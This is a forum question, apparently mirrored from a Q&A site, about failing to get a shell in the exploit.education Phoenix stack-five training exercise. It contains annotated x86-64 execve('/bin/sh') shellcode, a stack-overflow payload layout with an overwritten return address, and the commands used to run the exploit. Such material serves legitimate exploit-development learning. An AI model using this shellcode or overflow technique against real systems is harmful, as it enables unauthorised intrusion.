TransWikia.com

Exploit education stack-five: trouble getting the shell

Reverse Engineering Asked by Burst on July 23, 2020

Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/).
I run onto a problem while exploiting a stack overflow. The challenge is run execve(‘/bin/sh’) through shellcode. I grabbed the shellcode from shellstorm (http://shell-storm.org/shellcode/files/shellcode-603.php).
The shellcode consists of:

[NOP slide]
(debug int3 xcc)
"x48x31xd2"                                  // xor    %rdx, %rdx
"x48xbbx2fx2fx62x69x6ex2fx73x68"      // mov  $0x68732f6e69622f2f, %rbx
"x48xc1xebx08"                              // shr    $0x8, %rbx
"x53"                                          // push   %rbx
"x48x89xe7"                                  // mov    %rsp, %rdi
"x50"                                          // push   %rax
"x57"                                          // push   %rdi
"x48x89xe6"                                  // mov    %rsp, %rsi
"xb0x3b"                                      // mov    $0x3b, %al
"x0fx05";                                     // syscall
(debug int3 xcc)
[padding]
[override rip pointing to the middle of the NOP slide]

I have tested int3’s before and after the shellcode and all seems fine, they both trigger outside and inside gdb and therefore I infer that the shellcode is being executed but i cannot get the shell open.

I’m using this commands:

cat | /opt/phoenix/amd64/stack-five < exploit
cat exploit - | /opt/phoenix/amd64/stack-five

Neither of them gets the shell.

Example of execution

user@phoenix-amd64:~$ cat exploit - | /opt/phoenix/amd64/stack-five
cat exploit - | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
[ 7018.986649] traps: stack-five[433] trap int3 ip:7fffffffe68e sp:7fffffffe6c8 error:0
whoami
Trace/breakpoint trap

This int3 is AFTER the shellcode.

Some idea of what’s wrong?

Add your own answers!

Ask a Question

Get help from others!

© 2024 TransWikia.com. All rights reserved. Sites we Love: PCI Database, UKBizDB, Menu Kuliner, Sharing RPP